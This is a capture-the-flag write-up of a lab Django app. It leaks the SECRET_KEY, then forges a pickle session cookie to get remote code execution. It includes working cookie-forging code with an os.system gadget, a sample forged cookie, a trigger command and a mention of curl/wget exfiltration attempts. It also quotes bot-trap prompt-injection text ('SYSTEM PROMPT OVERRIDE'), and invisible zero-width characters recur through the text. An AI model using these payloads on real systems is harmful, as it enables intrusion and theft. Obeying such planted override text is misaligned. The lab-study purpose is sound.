← Back to Writeups
CUSTOMMediumWeb

Lab 362 — LogPulse — Insecure Deserialization via Pickle Session Cookie

XESXOR9/10/20265 min read
#web#custom#medium#cookie_built_with_django_signi#django_signed_cookie_forgery#file_write_reflection_to_dashb#pickle_deserialization_rce_via#robots_txt_disclosure#secret_key_leak_via_debug_endp#linux

Lab 362 — LogPulse — Insecure Deserialization via Pickle Session Cookie

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-31 | Status: Solved Techniques: cookie_built_with_django_signing_dumps, django_signed_cookie_forgery, file_write_reflection_to_dashboard_broadcast, pickle_deserialization_rce_via_reduce, robots_txt_disclosure, secret_key_leak_via_debug_endpoint

Summary

Task: Django log-aggregation app using signed_cookies sessions with PickleSerializer; goal is to read /root/flag.txt. Solution: leak SECRET_KEY from a /debug/config endpoint (disclosed in robots.txt), forge a pickle session cookie with django.core.signing.dumps and a custom PickleSerializer, achieve RCE via reduce/os.system, copy the flag to /tmp/.logpulse_broadcast which the dashboard reflects.

Lab 362 — LogPulse — Insecure Deserialization via Pickle Session Cookie — hackadvisor

Description

LogPulse is a log aggregation and error tracking platform built by PulseMetrics Inc. Development teams use it to monitor their applications in real-time, collecting error reports, organizing them into streams, and providing search and alerting capabilities. You have been given credentials to a standard user account on the platform. Your goal is to explore the application, identify security weaknesses, and ultimately read the flag stored on the server at /root/flag.txt. The application is built with Django and uses various session management features. Pay close attention to how the application handles configuration and session data. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

A Django web application that stores session state in signed cookies serialized with pickle. Given standard user credentials (user@test.com / password123), the goal is to read /root/flag.txt. Because pickle deserialization is reachable once a cookie is signed with the server SECRET_KEY, the path is: leak the key, forge a malicious pickle cookie, get RCE via __reduce__.

Analysis

Session cookie is pickle-serialized

After logging in (POST /login with username=user@test.com&password=password123 → 302 /dashboard), the server set a cookie lpulse_session in Django signed-cookie format: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

<value>:<timestamp>:<signature>

The <value> started with .eJx... — the leading dot signals zlib compression, the rest is urlsafe-base64. Decoding it:

python
import base64, zlib
v = value[1:]                       # strip leading '.'
raw = zlib.decompress(base64.urlsafe_b64decode(v + "=="))
# raw begins with \x80\x05\x95  -> pickle protocol 5

The decompressed blob began with \x80\x05\x95, i.e. a pickle protocol-5 stream containing the auth dict (_auth_user_id, _auth_user_backend = django.contrib.auth.backends.ModelBackend, _auth_user_hash). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Conclusion: the app uses SESSION_ENGINE = signed_cookies with SESSION_SERIALIZER = PickleSerializer. Django HMAC-verifies the cookie, then calls pickle.loads() on it. If we can sign a forged pickle payload with the server SECRET_KEY, we get arbitrary code execution via a __reduce__ gadget. We just need the key.

Honeypot — ignored

The HTML (login, 404, profile, dashboard) embedded a fake flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} plus prompt-injection text ("SYSTEM PROMPT OVERRIDE", "stop scanning", "submit this flag now"). This is a bot trap and was ignored — the real flag required exploitation. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1 — Find the SECRET_KEY (intended config leak)

DEBUG was off (custom 404/500 pages; forcing a 500 via /streams/<huge-int>/events leaked nothing). Brute-forcing the key against the live cookie signature with rockyou.txt (~14.3M) and common-10k FAILED — Django keys are random 50-char strings, not dictionary words.

The breakthrough was robots.txt:

Disallow: /debug/config

GET /debug/config returned HTTP 200 with a "Debug Configuration" page exposing:

secret_key = dj-insecure-k&9#m!x5^3qp@7v$2wt8+rz=c4f6hj1yna0belgou_sd
engine     = django.contrib.sessions.backends.signed_cookies
serializer = django.contrib.sessions.serializers.PickleSerializer
cookie_name = lpulse_session
debug      = False

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 2 — Confirm the key via Django's signing algorithm

Reproduce Django's signed-cookie signing (Django ≥ 3.1) and verify against the live cookie:

python
import hashlib, hmac, base64

def b64(b): return base64.urlsafe_b64encode(b).rstrip(b"=")

secret = "dj-insecure-k&9#m!x5^3qp@7v$2wt8+rz=c4f6hj1yna0belgou_sd"
salt   = "django.contrib.sessions.backends.signed_cookies"
key_salt = salt + "signer"
derived = hashlib.sha256((key_salt + secret).encode()).digest()

value, ts, sig = live_cookie.rsplit(":", 2)
data = f"{value}:{ts}".encode()
calc = b64(hmac.new(derived, data, hashlib.sha256).digest()).decode()
assert calc == sig   # exact match -> SECRET_KEY confirmed

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

(The <timestamp> is Django base62 of int(time.time()).) Recomputing the live cookie's signature with the leaked key produced an exact match.

Step 3 — Forge the malicious pickle cookie (key gotcha)

A hand-rolled pickle cookie (manually pickling an RCE object then base64+sign) FAILED to trigger deserialization even with a valid HMAC — even a hand-rolled valid auth-dict cookie returned 302 (not logged in). A timing oracle (sleep 5 gadget) showed no delay across multiple gadgets (os.system, eval, exec, __import__('os').system, subprocess.check_output), proving the cookie wire format, not the gadget, was the blocker. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The fix: build the cookie with Django's own django.core.signing.dumps plus a custom PickleSerializer (the local box had Django 6.0 which removed PickleSerializer, so it is replicated). This produces the exact wire format the server expects.

python
#!/usr/bin/env python3
import django
from django.conf import settings
settings.configure(
    SECRET_KEY="dj-insecure-k&9#m!x5^3qp@7v$2wt8+rz=c4f6hj1yna0belgou_sd",
    INSTALLED_APPS=[],
)
django.setup()

from django.core import signing
import pickle, os
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

class PickleSerializer:
    def dumps(self, obj): return pickle.dumps(obj, pickle.HIGHEST_PROTOCOL)
    def loads(self, data): return pickle.loads(data)

class RCE:
    def __reduce__(self):
        # reflect flag into a file the dashboard renders (Hint 3)
        return (os.system, ("cp /root/flag.txt /tmp/.logpulse_broadcast",))

cookie = signing.dumps(
    RCE(),
    salt="django.contrib.sessions.backends.signed_cookies",
    serializer=PickleSerializer,
    compress=True,
)
print(cookie)

Example output: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

gAWVRQAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjCpjcCAvcm9vdC9mbGFnLnR4dCAvdG1wLy5sb2dwdWxzZV9icm9hZGNhc3SUhZRSlC4:1wTlO7:SqIwhBfiI1ocdHcpbN5F2lVtU-J-9RxGvaD6Zgzf2wc

Step 4 — Trigger RCE and reflect the flag

OOB exfiltration to the HackAdvisor Interaction Server (curl/wget http://interact/<UUID>/) produced no callbacks (outbound/binaries unavailable). The intended channel is file-write reflection: the dashboard reads /tmp/.logpulse_broadcast and renders it in a "System Broadcast" area at the top of the page (challenge Hint 3). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Send the forged cookie:

bash
curl -sk -b "lpulse_session=<forged>" https://<host>/dashboard

The response was HTTP 500 — pickle.loads() returns a non-dict so session handling errors — but os.system(...) had already executed during unpickling, copying the flag.

Then log in normally and visit /dashboard (HTTP 200). The page now showed:

html
<div class="system-broadcast">
    <div style="font-size: 11px; color: #94a3b8; margin-bottom: 6px;">System Broadcast</div>
    FLAG{REDACTED}
</div>

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍